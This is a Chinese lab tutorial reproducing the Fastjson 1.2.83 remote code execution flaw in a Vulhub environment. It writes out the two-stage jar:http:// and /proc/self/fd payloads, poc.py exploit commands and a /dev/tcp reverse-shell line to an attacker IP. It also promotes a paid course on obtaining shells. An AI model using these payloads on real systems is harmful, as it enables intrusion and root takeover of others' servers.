ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

曾被奉为 “安全基线” 的 Fastjson 1.2.83,RCE 漏洞手把手复现,一把打穿

曾被奉为 “安全基线” 的 Fastjson 1.2.83,RCE 漏洞手把手复现,一把打穿 先看结果对你没看错。Fastjson 1.2.83autoType默认关闭classpath上没有任何gadget类——在这种大家普遍认为已经安全了的配置下直接root权限反弹Shell。攻击机上就跑了一个Python脚本前后不到十秒钟。这个漏洞的核心不是什么复杂的gadget链而是Fastjson在checkAutoType里一个看似无害的注解预检动作——它在校验类名之前先去读了一下类资源而JVM的jar:协议会顺着URL把远程JAR下载下来。就这一下门就开了。这篇文章把POC完整放出来你跟着做就能复现命令执行。但从命令执行到反弹Shell中间还有好几个坑我会在最后告诉你门槛在哪。本文仅用于合法的安全研究和教育目的请确保测试系统拥有合法授权。发生了什么Fastjson是阿里巴巴开源的JSON解析库Java后端用得非常多。它有一个臭名昭著的autoType功能JSON里的type字段可以指定类名Fastjson会帮你加载并实例化这个类。历代Fastjson反序列化漏洞都是围绕这个功能展开的——攻击者指定一个危险类在构造器或静态代码块里执行恶意代码。从1.2.24的JdbcRowSetImpl首秀开始Fastjson的漏洞史就是一部黑名单追赶白名单的拉锯战。1.2.41修了JNDI注入1.2.42加了黑名单1.2.43绕过1.2.44再修……安全研究员们在classpath里翻箱倒柜找gadget类Fastjson团队在黑名单里疯狂加类名。到了1.2.68引入了safeMode你以为大结局了没有1.2.80又出了expectClass绕过。到了1.2.83版本autoType默认关闭了已知的gadget类全在黑名单里classpath上也找不到能直接利用的类。按理说这条路走到头了。但问题出在checkAutoType方法的一个细节上。Fastjson在决定要不要加载这个类之前会先做一次JSONType注解探测——它调用getResourceAsStream去读取类资源看看这个类有没有JSONType注解。关键在于这个读取动作发生在类名黑名单校验之前。你品品这个顺序。黑名单是干什么的是拦危险类名的。但Fastjson在查黑名单之前先拿着类名去读了一次资源。如果类名是一个普通字符串读不到就返回null没事。但如果类名是一个jar:http://...的URLJVM的URL处理机制会顺着这个地址去下载JAR包——这个动作发生在黑名单校验之前黑名单根本拦不住。如果type的值不是普通类名而是一个jar:http://...的URLJVM在处理这个URL时会真的去远程地址下载JAR包。下载完之后如果JAR里的类带着JSONType注解Fastjson的校验就放行了接着实例化这个类——类里的静态代码块和构造器中的代码就执行了。不需要autoType开启不需要expectClass不需要继承任何类。一个JSON请求JVM自己把后门请进来了。影响范围Fastjson 1.2.x一直到1.2.83autoType默认关闭且未开启safeMode的配置。开启safeMode可以完全防御。另外这个手法需要Spring Boot环境其URLClassLoader会真正发起远程JAR下载但Spring Boot是Java后端最主流的框架这个前提基本等于没有前提。环境怎么搭Vulhub已经有现成环境了在fastjson/1.2.83-rce目录cd vulhub/fastjson/1.2.83-rce docker compose up -d启动后访问http://你的IP:8090看到{age:25,name:Bob}就说明靶场就绪。这个/端点接受Content-Type: application/json的POST请求用Fastjson解析请求体——这就是攻击入口。你用Burp或者curl往这个端点发一个带type字段的JSONFastjson就会开始它的反序列化流程。Vulhub上也能找到这个环境搜Fastjson 1.2.83就能看到有多严重——POC验证POC用的是一个Python脚本poc.py它把整条利用链自动化了。脚本做了三件事用纯Python手写了一个Java class字节码不需要JDKclass里的run方法执行Runtime.getRuntime().exec(new String[]{/bin/sh,-c,cmd})在本地起HTTP服务器托管这个class打包成的JAR发送两阶段请求触发下载和加载在跑脚本之前先看一眼它实际发的数据包。阶段一触发JAR下载POST / HTTP/1.1 Host: 业务目标IP:8090 Content-Type: application/json {type:jar:http://{攻击端IP十进制}:8000/probe!/POC76qp,x:1}type的值是一个jar:http://URL{攻击端IP十进制}是攻击机IP的十进制整数形式。目标收到后JVM在注解探测阶段自动去这个地址下载JAR。阶段二遍历fd加载缓存JARPOST / HTTP/1.1 Host: 业务目标IP:8090 Content-Type: application/json {type:jar:file:/proc/self/fd/33!/POC76qp33,x:1}用jar:file:/proc/self/fd/N这种全单斜杠路径加载已缓存的JARN从10到300逐个尝试。先验证命令执行往/tmp/success写个标记python3 poc.py pwn -t http://业务目标IP:8090/ -l 攻击端IP -c id /tmp/success参数说明pwn真正执行命令的模式还有个scan模式只做无害检测-t目标靶场地址-l攻击机IP目标必须能访问到JAR包要从你这下载-c要执行的命令跑完输出如下逐行解读一下关键输出lhost x.x.x.x - decimal {攻击端IP十进制}攻击机IP被转成了十进制整数。这是因为Fastjson会把类名中的.替换成/点分IP会被打碎成路径必须用纯数字的十进制形式built probe jar: 195793 bytes, spray 290 fd classes生成了JAR包里面包含290个fd喷洒用的classSTAGE 1 - http://目标:8090/ downloading jar:http://{攻击端IP十进制}:8000.probe!.POC76qp第一阶段发送jar:http://请求触发目标下载JAR。返回400是正常的下载这个副作用已经发生STAGE 2 - spraying fd [10,300) blindly第二阶段遍历/proc/self/fd/N逐个尝试加载缓存的JAR。因为不知道JAR被缓存成了fd几所以从10到300全部试一遍16线程并发进容器验证docker compose exec web cat /tmp/successuid0(root) gid0(root) groups0(root)——以root权限执行了任意命令。这里多说一句为什么返回400反而是正常的因为第一阶段的jar:http://类名在JDK 9上无法被直接defineFastjson会抛出异常并返回400。但这个异常发生在JAR下载之后——下载这个副作用已经完成了JAR已经缓存在服务器上。第二阶段用jar:file:/proc/self/fd/N这种单斜杠路径去加载格式合法JDK不拦类就能正常define和实例化。所以你看到的400不是失败是快递已签收的回执。poc.py还提供了一个scan子命令只做无害检测它发送jar:http://请求触发JAR下载但JAR里的类不包含任何恶意代码。配合interactsh这类OOB平台只要收到HTTP回连就说明目标存在漏洞适合批量扫描时用不会在目标上执行命令。用法python3 poc.py scan -o http://你的interactsh地址:50050 -t http://业务目标IP:8090/scan模式只发探测包不执行命令收到回连就说明目标存在漏洞用来做批量检测比较放心不用担心误操作在目标系统上留下任何痕迹。POC到这里是完整的你可以直接拿去复现。命令执行已经实锤了但接下来的问题是怎么从命令执行走到反弹Shell真正的门槛在哪能执行id不等于能拿到Shell。我一开始以为直接把-c参数换成反弹命令就行了# 这样是不行的 python3 poc.py pwn -t http://目标:8090/ -l 攻击机IP -c bash -i /dev/tcp/攻击机IP/25001 01nc那边一片空白什么都没弹回来。你猜怎么着这个漏洞的命令执行走的是Runtime.exec(String[])它不会经过shell解析。、/dev/tcp这些都是bash特有的语法Runtime.exec根本不认识——它只会把你的命令当成一个可执行文件名加参数然后报找不到这个命令。更坑的是因为fd喷洒是盲打命令执行失败你也看不到任何错误信息HTTP响应照样返回400跟成功了一模一样。你只能盯着nc的空白屏幕发呆不知道是命令写错了、fd没命中、还是目标根本出不了网。这只是第一个坑。实际上从POC到反弹Shell我踩了至少四个坑命令必须用bash -c包一层否则重定向和tcp连接都不生效。但包了bash -c之后又涉及引号嵌套问题——外层shell、Python脚本、Java的exec、内层bash四层解析引号稍微错一点命令就变形IP必须转十进制。Fastjson把.替换成/这个机制在反弹shell命令里同样会坑你——命令中的IP地址如果出现在type路径里也会被打碎两阶段攻击的原理。jar:http://的双斜杠在JDK 9上被拒绝直接define必须先让JVM下载JAR缓存到/proc/self/fd/N再用jar:file:/proc/self/fd/N这种单斜杠路径二次加载。为什么要分两阶段因为JDK的安全检查只认格式不认内容——换个写法它就放行了fd盲打无法判断成功。第二阶段喷了290个请求命中的那个和没命中的HTTP响应一模一样你根本不知道哪个请求成功了。反弹shell如果命令写错了nc那边没有任何回显你只能靠猜。排查的时候只能换思路先写标记文件确认命令执行通路没问题再逐步替换成反弹命令每次只改一个变量我在这几个坑上卡了挺久。尤其是引号嵌套的问题——bash -c bash -i /dev/tcp/IP/端口 01这串命令在单引号、双引号、转义之间来回调整稍有不慎就被某一层吃掉几个字符。单引号在bash里是强引用里面内容原样传递双引号留给目标上的bash -c解析这是我试了五六种写法后才跑通的。跑通的那一刻nc终于跳出了Connection received看着whoami返回root感觉这一下午没白费。多数人失败的核心原因我观察了一下网上复现这个漏洞失败的人基本栽在三个地方第一不知道要分两阶段。很多人以为发一个jar:http://请求就能RCE结果在JDK 9上死活不成功。原因是jar:http://里的双斜杠//在高版本JDK上被安全检查拦住了必须先用jar:http://触发下载再用jar:file:/proc/self/fd/N这种单斜杠路径二次加载。少了任何一个阶段都不行。第二不知道fd要盲喷。第二阶段需要知道JAR被缓存成了fd几但这个编号你猜不到——它取决于JVM之前打开过多少文件。有人手动试了几个fd就放弃了实际上要从10喷到300用并发几秒钟就能跑完。第三反弹Shell命令不加bash -c。这个坑最普遍。Runtime.exec不是shell它不认识和/dev/tcp。直接把反弹命令塞进去nc那边永远是空白。必须用bash -c包一层但引号怎么嵌套又是个学问——外层单引号内层双引号四层解析错一个字符命令就废了。我自己在引号上栽了至少五六次。这些坑的具体绕过方法、每一步的payload长什么样、poc.py脚本的核心逻辑怎么理解——我都在付费专栏里做了字段级的拆解。如果你想走完这条路我把从环境搭建到最终反弹Shell的完整过程——包括每一次试错、每一次失败的排查思路、最终绕过方案的原理拆解以及poc.py脚本的逐段讲解——都整理在了专栏里。本篇文章视频演示曾被奉为 “安全基线” 的 Fastjson 1.2.83RCE 漏洞手把手复现一把打穿点击直达本篇文章完整版详见 【反弹Shell】Fastjson1.2.83 RCE远程命令执行漏洞点击直达专栏的名字叫高危漏洞深度利用—零基础GetShell的全链路实战指南点击直达。核心就是不止于POC复现每篇文章必须走到拿下服务器每一步都有截图和字段拆解零基础也能跟着做。如果你不想自己从头踩一遍bash -c引号嵌套和fd盲打的坑可以翻翻。复现过程中有问题直接评论区留言我看到了会回。本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。核心就是不止于POC复现每篇文章必须走到拿下服务器每一步都有截图和字段拆解零基础也能跟着做。如果你不想自己从头踩一遍bash -c引号嵌套和fd盲打的坑可以翻翻。复现过程中有问题直接评论区留言我看到了会回。本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。
返回列表